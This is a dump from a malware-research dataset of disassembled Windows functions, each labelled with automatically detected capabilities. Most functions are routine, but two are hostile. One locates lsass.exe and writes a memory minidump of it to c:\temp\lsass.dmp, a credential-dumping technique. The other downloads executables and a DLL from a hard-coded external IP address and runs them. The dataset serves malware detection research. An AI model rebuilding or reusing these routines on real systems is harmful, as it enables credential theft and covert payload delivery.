joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400706b0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r10, rcx
mov r9d, 0x138
mov ecx, dword [rcx]
cmp ecx, r9d
jne 0x140070717
lea r8, [r10 + 0x10]
movabs r11, 0xb5026f5aa96619e9
mov rdx, qword [r8]
xor rdx, qword [r8 - 8]
lea r8, [r8 + 8]
and rdx, 0xffffffff80000000
xor rdx, qword [r8 - 8]
movzx eax, dl
and al, 1
neg al
sbb rcx, rcx
shr rdx, 1
and rcx, r11
xor rcx, qword [r8 + 0x4d0]
xor rcx, rdx
mov qword [r8 + 0x9b0], rcx
sub r9, 1
jne 0x1400706d2
mov ecx, dword [r10]
jmp 0x140070838
cmp ecx, 0x270
jb 0x140070838
mov qword [rsp + 0x10], rbx
movabs r11, 0xb5026f5aa96619e9
lea rbx, [r10 + 0x9c8]
mov qword [rsp], rdi
mov rax, qword [rbx]
mov edi, 0x9c
nop word [rax + rax]
mov r9, qword [rbx + 8]
mov r8, rbx
add rbx, 8
mov rdx, r9
xor rdx, rax
and rdx, 0xffffffff80000000
xor rdx, r9
movzx eax, dl
and al, 1
neg al
mov rax, r9
sbb rcx, rcx
shr rdx, 1
and rcx, r11
xor rcx, qword [r8 + 0x4e0]
xor rcx, rdx
mov qword [r8 - 0x9c0], rcx
sub rdi, 1
jne 0x140070750
lea rbx, [r10 + 0xea8]
mov edi, 0x9b
mov r9, qword [rbx]
nop dword [rax]
nop dword [rax + rax]
mov r8, qword [rbx + 8]
mov rdx, rbx
xor r9, r8
add rbx, 8
and r9, 0xffffffff80000000
xor r9, r8
movzx eax, r9b
and al, 1
neg al
sbb rcx, rcx
shr r9, 1
and rcx, r11
xor rcx, qword [rdx - 0xea0]
xor rcx, r9
mov r9, r8
mov qword [rdx - 0x9c0], rcx
sub rdi, 1
jne 0x1400707b0
mov rdx, qword [r10 + 8]
xor rdx, qword [r10 + 0x1380]
mov rdi, qword [rsp]
and rdx, 0xffffffff80000000
xor rdx, qword [r10 + 8]
mov rbx, qword [rsp + 0x10]
movzx eax, dl
and al, 1
neg al
sbb rcx, rcx
shr rdx, 1
and rcx, r11
xor rcx, qword [r10 + 0x4e0]
xor rcx, rdx
mov qword [r10 + 0x9c0], rcx
xor ecx, ecx
mov dword [r10], ecx
mov eax, ecx
mov rdx, qword [r10 + rax*8 + 8]
lea eax, [rcx + 1]
mov dword [r10], eax
mov rcx, rdx
mov rax, qword [r10 + 0x1388]
shr rcx, 0x1d
and rax, rcx
movabs rcx, 0x38eb3ffff6d3
xor rdx, rax
mov rax, rdx
and rax, rcx
shl rax, 0x11
xor rdx, rax
mov rax, rdx
and rax, 0xffffffffffffbf77
shl rax, 0x25
xor rdx, rax
mov rax, rdx
shr rax, 0x2b
xor rax, rdx
add rsp, 8
ret

Function at 0x140073084
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400730ce
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400730ce
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400730ce
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400730ce
cmp dword [rcx + 0x84], 0xe
jbe 0x1400730ce
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400730d0
xor al, al
add rsp, 0x28
ret
Function at 0x140011203
Capabilities:
Terminate process

Disassembly:
jmp 0x140014540
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140011285
Capabilities:
Create process memory minidump
Enumerate processes
Write file on windows

Disassembly:
jmp 0x140012d50
push rbp
push rdi
sub rsp, 0x538
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0xde
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x4e8], rax
lea rcx, [0x1400250f6]
call fcn.14001139d
mov dword [rbp + 4], 0
mov dword [rbp + 0x24], 0
mov qword [rbp + 0x48], 0
xor edx, edx
mov ecx, 2
call fcn.1400111a9
mov qword [rbp + 0x68], rax
lea rax, [0x14001be74]
mov qword [rbp + 0x88], rax
lea rax, [rbp + 0xb0]
mov rdi, rax
xor eax, eax
mov ecx, 0x238
rep stosb byte [rdi], al
mov dword [rbp + 0xb0], 0x238
lea rdx, [rbp + 0xb0]
mov rcx, qword [rbp + 0x68]
call fcn.140011235
test eax, eax
je 0x140012e42
lea rdx, str.lsass.exe
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.ucrtbased.dll__wcsicmp]
test eax, eax
je 0x140012e33
lea rdx, [rbp + 0xb0]
mov rcx, qword [rbp + 0x68]
call fcn.140011352
lea rax, [rbp + 0xdc]
mov qword [rbp + 0x88], rax
mov eax, dword [rbp + 0xb8]
mov dword [rbp + 4], eax
jmp 0x140012df2
mov edx, dword [rbp + 4]
lea rcx, str.___lsass_PID0x_x_n
call fcn.14001119f
mov r8d, dword [rbp + 4]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x48], rax
mov r8d, 0x10
xor edx, edx
lea rcx, [rbp + 0x308]
call fcn.1400112df
lea rax, [0x1400113b6]
mov qword [rbp + 0x308], rax
mov qword [rbp + 0x310], 0
lea rax, [rbp + 0x308]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 2
xor r8d, r8d
mov edx, dword [rbp + 4]
mov rcx, qword [rbp + 0x48]
call fcn.1400112c6
mov dword [rbp + 0x334], eax
cmp dword [rbp + 0x334], 0
je 0x140012f58
mov rdx, qword [0x14001f1b8]
lea rcx, str._n___lsass_dumped_to_memory_0x_p_n
call fcn.14001119f
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x10000000
lea rcx, str.c:_templsass.dmp
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rbp + 0x358], rax
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x24]
mov r8d, dword [0x14001f1b0]
mov rdx, qword [0x14001f1b8]
mov rcx, qword [rbp + 0x358]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x140012f58
mov r8d, dword [rbp + 0x24]
mov rdx, qword [0x14001f1b8]
lea rcx, str._n___lsass_dumped_from_0x_p_to_c:_templsass.dmp_n
call fcn.14001119f
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x40]
lea rdx, [0x14001be30]
call fcn.14001132f
mov eax, edi
mov rcx, qword [rbp + 0x4e8]
xor rcx, rbp
call fcn.1400111bd
lea rsp, [rbp + 0x4f8]
pop rdi
pop rbp
ret
Function at 0x14001128f
Capabilities:
Parse pe header

Disassembly:
jmp 0x140015890
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x1400158b0
xor al, al
jmp 0x140015931
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x1400158c3
xor al, al
jmp 0x140015931
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x1400158ed
xor al, al
jmp 0x140015931
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140015901
xor al, al
jmp 0x140015931
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140015913
xor al, al
jmp 0x140015931
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001592f
xor al, al
jmp 0x140015931
mov al, 1
add rsp, 0x38
ret

Function at 0x1400112c6
Capabilities:
Create process memory minidump

Disassembly:
jmp 0x14001313e
jmp qword [sym.imp.dbghelp.dll_MiniDumpWriteDump]
Function at 0x140002960
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
movabs rax, 0xcbf29ce484222325
mov r9d, 0
sub r8, rdx
je 0x140002994
movabs r10, 0x100000001b3
nop
movzx ecx, byte [rdx + r9]
inc r9
xor rax, rcx
imul rax, r10
cmp r9, r8
jb 0x140002980
ret
Function at 0x140008630
Capabilities:
Validate payment card number using luhn algorithm

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov dword [rcx + 0x74], 0
mov rbx, rcx
mov edi, 0x7fffffff
movsx ecx, byte [rbx + 0x78]
lea eax, [rcx - 0x30]
cmp al, 9
ja 0x1400086f5
lea r8d, [rcx - 0x30]
cmp r8d, 0xffffffff
je 0x1400086f5
mov r9d, dword [rbx + 0x74]
mov ecx, 0x7fffffff
sub ecx, r8d
mov eax, 0x66666667
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
cmp r9d, edx
jg 0x14000870e
lea eax, [r9 + r9*4]
dec edi
lea ecx, [r8 + rax*2]
mov rax, qword [rbx + 0x10]
mov dword [rbx + 0x74], ecx
mov rcx, qword [rbx]
cmp rcx, rax
je 0x1400086e5
cmp byte [rcx], 0x5c
jne 0x1400086de
lea rdx, [rcx + 1]
cmp rdx, rax
je 0x1400086de
mov r8d, dword [rbx + 0x80]
test r8b, 8
jne 0x1400086cc
movzx eax, byte [rdx]
sub al, 0x28
cmp al, 1
jbe 0x1400086db
test r8b, 0x10
jne 0x1400086de
movzx eax, byte [rdx]
sub al, 0x7b
test al, 0xfd
jne 0x1400086de
mov rcx, rdx
lea rax, [rcx + 1]
mov qword [rbx], rax
mov rcx, rbx
call fcn.140004030
test edi, edi
jne 0x140008650
mov rbx, qword [rsp + 0x30]
cmp edi, 0x7fffffff
mov rsi, qword [rsp + 0x38]
setne al
add rsp, 0x20
pop rdi
ret
mov edx, esi
call fcn.140004020
int3

Function at 0x14000bba8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000bbf2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000bbf2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000bbf2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000bbf2
cmp dword [rcx + 0x84], 0xe
jbe 0x14000bbf2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000bbf4
xor al, al
add rsp, 0x28
ret
Function at 0x140001330
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x460
mov rax, qword [0x1400514c0]
xor rax, rsp
mov qword [rsp + 0x450], rax
xor ebp, ebp
mov rsi, rdx
mov rbx, rcx
mov dword [rsp + 0x20], ebp
xor r9d, r9d
lea rcx, str.User_Agent
xor r8d, r8d
lea edx, [rbp + 1]
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rdi, rax
test rax, rax
je 0x1400013e6
mov qword [rsp + 0x28], rbp
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 0x80000000
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, rax
test rax, rax
je 0x1400013dd
mov qword [rsp + 0x30], rbp
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
mov rcx, rbx
cmp rax, 0xffffffffffffffff
jne 0x1400013ed
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor al, al
jmp 0x14000146c
lea r9, [rsp + 0x40]
mov dword [rsp + 0x40], ebp
mov r8d, 0x400
lea rdx, [rsp + 0x50]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x14000144f
nop dword [rax + rax]
mov r8d, dword [rsp + 0x40]
test r8d, r8d
je 0x14000144f
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], rbp
lea rdx, [rsp + 0x50]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea r9, [rsp + 0x40]
mov r8d, 0x400
lea rdx, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140001410
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov al, 1
mov rcx, qword [rsp + 0x450]
xor rcx, rsp
call fcn.14001bb90
mov rbx, qword [rsp + 0x490]
add rsp, 0x460
pop rdi
pop rsi
pop rbp
ret

Function at 0x140001490
Capabilities:
Create process on windows
Schedule task via at

Disassembly:
sub rsp, 0x38
lea rdx, str.C:__System.exe
lea rcx, str.http:__38.46.15.254:6314_555.exe
call fcn.140001330
lea rdx, str.C:__tpsvcBase.dll
lea rcx, str.http:__38.46.15.254:6314_tpsvcBase.dll
call fcn.140001330
lea rdx, str.C:__tpsvcBase.dll.dat
lea rcx, str.http:__38.46.15.254:6314_tpsvcBase.dll.dat
call fcn.140001330
xor r9d, r9d
mov dword [rsp + 0x28], 1
lea r8, str.C:__System.exe
mov qword [rsp + 0x20], 0
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
add rsp, 0x38
ret
Function at 0x1400015f0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov edi, r8d
mov rsi, rdx
mov rbp, rcx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x140001668
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbx, rax
test rax, rax
je 0x140001668
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, eax
add rcx, rbx
and edi, 0xf
jbe 0x140001655
nop
cmp rbx, rcx
jae 0x140001668
movzx eax, word [rbx]
lea rbx, [rbx + rax*2]
add rbx, 2
add edi, 0xffffffff
jne 0x140001640
cmp rbx, rcx
jae 0x140001668
xor eax, eax
cmp word [rbx], ax
cmove rbx, rax
mov rax, rbx
jmp 0x14000166a
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x140001810
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x40
mov eax, r8d
mov rbp, rdx
shr eax, 4
mov edi, r8d
inc ax
mov rsi, rcx
movzx edx, ax
mov r8d, 6
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov r14, rax
test rax, rax
je 0x14000195d
mov rdx, rax
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x14000195d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbx, rax
test rax, rax
je 0x14000195d
mov rdx, r14
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, eax
add rcx, rbx
and edi, 0xf
jbe 0x1400018b9
nop word [rax + rax]
cmp rbx, rcx
jae 0x14000195d
movzx eax, word [rbx]
lea rbx, [rbx + rax*2]
add rbx, 2
add edi, 0xffffffff
jne 0x1400018a0
cmp rbx, rcx
jae 0x14000195d
cmp word [rbx], 0
je 0x14000195d
movzx r9d, word [rbx]
lea r8, [rbx + 2]
xor r14d, r14d
xor edx, edx
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
lea ecx, [rdx + 3]
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd rdi, eax
test eax, eax
js 0x14000197a
mov rcx, qword [rsi]
mov edx, 1
sub edx, dword [rcx - 8]
mov ecx, dword [rcx - 0xc]
sub ecx, edi
or edx, ecx
jge 0x14000191b
mov edx, edi
mov rcx, rsi
call fcn.1400017b0
mov rdx, qword [rsi]
lea r8, [rbx + 2]
movzx r9d, word [rbx]
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdx
xor edx, edx
lea ecx, [rdx + 3]
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov rcx, qword [rsi]
cmp edi, dword [rcx - 0xc]
jg 0x14000197a
mov dword [rcx - 0x10], edi
mov eax, 1
mov rcx, qword [rsi]
mov byte [rdi + rcx], r14b
jmp 0x14000195f
xor eax, eax
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
mov ecx, 0x80070057
call fcn.1400019c0
int3
Function at 0x1400045e8
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r14
mov rbp, rsp
sub rsp, 0x50
mov rdi, r9
mov rbx, r8
and qword [r9], 0
mov r14, qword [rbp + 0x40]
and dword [r14], 0
cmp qword [rcx + 0xb0], 0
je 0x1400046c0
xor r8d, r8d
call fcn.140004a5c
mov rsi, rax
test rax, rax
je 0x140004770
mov qword [rbp - 0x20], rsi
and dword [rbp - 0x18], 0
and qword [rbp - 0x10], 0
and dword [rbp + 0x20], 0
and dword [rbp + 0x40], 0
lea rax, [rbp + 0x40]
mov qword [rsp + 0x28], rax
and qword [rsp + 0x20], 0
lea r9, [rbp + 0x20]
xor r8d, r8d
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [rbp + 0x40]
mov dword [r14], ecx
test eax, eax
jne 0x1400046a4
call fcn.140002690
mov qword [rdi], rax
lea rcx, [rbp + 0x40]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x20]
xor r8d, r8d
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1400046a4
lea ebx, [rax + 1]
jmp 0x1400046b2
mov rcx, qword [rdi]
call fcn.1400015b0
and qword [rdi], 0
xor ebx, ebx
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x14000476e
mov rax, qword [rcx]
and qword [rsp + 0x20], 0
mov r9, rbx
mov r8, rdx
lea rdx, [rbp + 0x40]
mov rax, qword [rax + 0x108]
call qword [case.0x14000b66a.0]
nop
mov rax, qword [rbp + 0x40]
mov ecx, dword [rax - 0x10]
test ecx, ecx
jne 0x1400046f0
xor ebx, ebx
jmp 0x14000474d
shr ecx, 1
mov dword [r14], ecx
call fcn.140002690
mov qword [rdi], rax
xor r8d, r8d
lea ebx, [r8 + 1]
cmp dword [r14], r8d
jbe 0x140004749
lea ecx, [r8 + r8]
lea edx, [rcx + 1]
test edx, edx
js 0x140004785
mov rax, qword [rbp + 0x40]
cmp edx, dword [rax - 0x10]
jg 0x140004785
movsxd r9, ecx
mov dl, byte [r9 + rax + 1]
test ecx, ecx
js 0x140004785
cmp ecx, dword [rax - 0x10]
jg 0x140004785
sub dl, bl
shl dl, 4
sub dl, 0x41
add dl, byte [r9 + rax]
mov rax, qword [rdi]
mov byte [r8 + rax], dl
add r8d, ebx
cmp r8d, dword [r14]
jb 0x140004709
mov rax, qword [rbp + 0x40]
lea rdx, [rax - 0x18]
or ecx, 0xffffffff
lock xadd dword [rdx + 0x10], ecx
sub ecx, 1
jg 0x14000476e
mov rcx, qword [rdx]
mov r8, qword [rcx]
mov rax, qword [r8 + 8]
call qword [case.0x14000b66a.0]
mov eax, ebx
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
mov ecx, 0x80070057
call fcn.1400019c0
int3
Function at 0x140004790
Capabilities:
Query or enumerate registry value
Read .ini file

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
cmp qword [rcx + 0xb0], 0
mov edi, r9d
mov rbx, r8
mov rax, rdx
je 0x14000480b
xor r8d, r8d
call fcn.140004a5c
mov rsi, rax
test rax, rax
je 0x140004807
lea rax, [rsp + 0x50]
mov dword [rsp + 0x50], 4
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x34]
lea rax, [rsp + 0x30]
xor r8d, r8d
mov rdx, rbx
mov qword [rsp + 0x20], rax
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rcx, rsi
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
jne 0x140004807
mov eax, dword [rsp + 0x30]
jmp 0x140004821
mov eax, edi
jmp 0x140004821
mov r9, qword [rcx + 0xd8]
mov r8d, edi
mov rcx, rax
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov rbx, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
Function at 0x140004834
Capabilities:
Query or enumerate registry value
Read .ini file

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0xf60]
mov eax, 0x1060
call fcn.14001c400
sub rsp, rax
mov rax, qword [0x1400514c0]
xor rax, rsp
mov qword [rbp + 0xf50], rax
mov r12, r9
mov r10, r8
mov rdi, rdx
mov r14, qword [rbp + 0xfc0]
mov qword [rsp + 0x38], rdx
cmp qword [rcx + 0xb0], 0
je 0x1400049e2
xor r8d, r8d
mov rdx, r10
call fcn.140004a5c
mov rsi, rax
test rax, rax
jne 0x1400048a3
mov rdx, r14
jmp 0x140004a1a
call fcn.140007d9c
mov rcx, rax
test rax, rax
je 0x140004a51
mov rax, qword [rax]
mov rax, qword [rax + 0x18]
call qword [case.0x14000b66a.0]
lea rbx, [rax + 0x18]
mov qword [rsp + 0x38], rbx
and dword [rsp + 0x34], 0
and dword [rsp + 0x30], 0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x34]
xor r8d, r8d
mov rdx, r12
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov r15d, eax
test eax, eax
jne 0x14000497e
mov edx, dword [rsp + 0x30]
test edx, edx
js 0x140004a46
lea ecx, [rax + 1]
sub ecx, dword [rbx - 8]
mov eax, dword [rbx - 0xc]
sub eax, edx
or eax, ecx
jge 0x140004929
lea rcx, [rsp + 0x38]
call fcn.1400017b0
mov rbx, qword [rsp + 0x38]
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
lea r9, [rsp + 0x34]
xor r8d, r8d
mov rdx, r12
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov r15d, eax
test rbx, rbx
jne 0x140004958
xor eax, eax
jmp 0x14000496c
movsxd rdx, dword [rbx - 0xc]
mov rcx, rbx
call fcn.140022c58
test eax, eax
js 0x140004a46
cmp eax, dword [rbx - 0xc]
jg 0x140004a46
mov dword [rbx - 0x10], eax
mov eax, eax
mov byte [rax + rbx], 0
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test r15d, r15d
jne 0x1400049b3
lea rcx, [rbx - 0x18]
call fcn.140002be4
add rax, 0x18
mov qword [rdi], rax
or eax, 0xffffffff
lock xadd dword [rbx - 8], eax
sub eax, 1
jg 0x140004a22
mov rcx, qword [rbx - 0x18]
lea rdx, [rbx - 0x18]
jmp 0x1400049d3
mov rdx, r14
mov rcx, rdi
call fcn.1400020e4
nop
lea rdx, [rbx - 0x18]
or eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140004a22
mov rcx, qword [rdx]
mov rax, qword [rcx]
mov rax, qword [rax + 8]
call qword [case.0x14000b66a.0]
jmp 0x140004a22
lea r8, [0x14003df25]
test r14, r14
cmovne r8, r14
mov rax, qword [rcx + 0xd8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x1000
lea r9, [rsp + 0x50]
mov rdx, r12
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea rdx, [rsp + 0x50]
mov rcx, rdi
call fcn.1400020e4
mov rax, rdi
mov rcx, qword [rbp + 0xf50]
xor rcx, rsp
call fcn.14001bb90
add rsp, 0x1060
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov ecx, 0x80070057
call fcn.1400019c0
nop
mov ecx, 0x80004005
call fcn.1400019c0
int3
Function at 0x140005728
Capabilities:
Get graphical window text

Disassembly:
sub rsp, 0x78
test rdx, rdx
je 0x140005790
mov r10, qword [rcx + 0x10]
test r10, r10
je 0x14000577a
cmp qword [rcx + 0x18], 0
jne 0x140005775
mov eax, dword [rcx + 0xc]
cmp eax, dword [rcx + 0x30]
jae 0x140005796
mov qword [rsp + 0x58], rdx
lea r9, [rsp + 0x20]
mov dword [rsp + 0x20], 0x50
mov edx, eax
mov dword [rsp + 0x24], 0x40
mov r8d, 1
mov rcx, qword [r10 + 8]
call qword [sym.imp.USER32.dll_SetMenuItemInfoA]
add rsp, 0x78
ret
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x140005790
mov rcx, qword [rcx + 0x40]
add rsp, 0x78
jmp 0x1400121a4
call fcn.1400081e4
int3
call fcn.1400081e4
int3
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x130
mov rax, qword [0x1400514c0]
xor rax, rsp
mov qword [rsp + 0x120], rax
mov rbx, rdx
mov rdi, rcx
test rcx, rcx
je 0x140012264
test rdx, rdx
je 0x140012264
mov rcx, rdx
call fcn.140022bb0
xor edx, edx
mov byte [rsp + 0x20], 0
mov r8d, 0xff
lea rcx, [rsp + 0x21]
mov rsi, rax
call fcn.14001e2f0
mov eax, 0x100
cmp rsi, rax
ja 0x140012233
mov r8d, eax
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.USER32.dll_GetWindowTextA]
cmp eax, esi
jne 0x140012233
mov rdx, rbx
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x14001223f
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.USER32.dll_SetWindowTextA]
mov rcx, qword [rsp + 0x120]
xor rcx, rsp
call fcn.14001bb90
lea r11, [rsp + 0x130]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
call fcn.1400081e4
int3

Function at 0x140006784
Capabilities:
Delete registry key

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x40
cmp qword [rcx], 0
mov rdi, r8
mov rsi, rdx
mov rbx, rcx
je 0x1400067eb
lea rcx, str.Advapi32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x1400067ff
lea rdx, str.RegDeleteKeyTransactedA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400067ff
mov rcx, qword [rbx]
xor r9d, r9d
and qword [rsp + 0x28], 0
xor r8d, r8d
mov qword [rsp + 0x20], rcx
mov rdx, rdi
mov rcx, rsi
call qword [case.0x14000b66a.0]
jmp 0x140006804
cmp dword [rcx + 8], 0
je 0x1400067ff
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
jmp 0x140006804
mov eax, 1
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret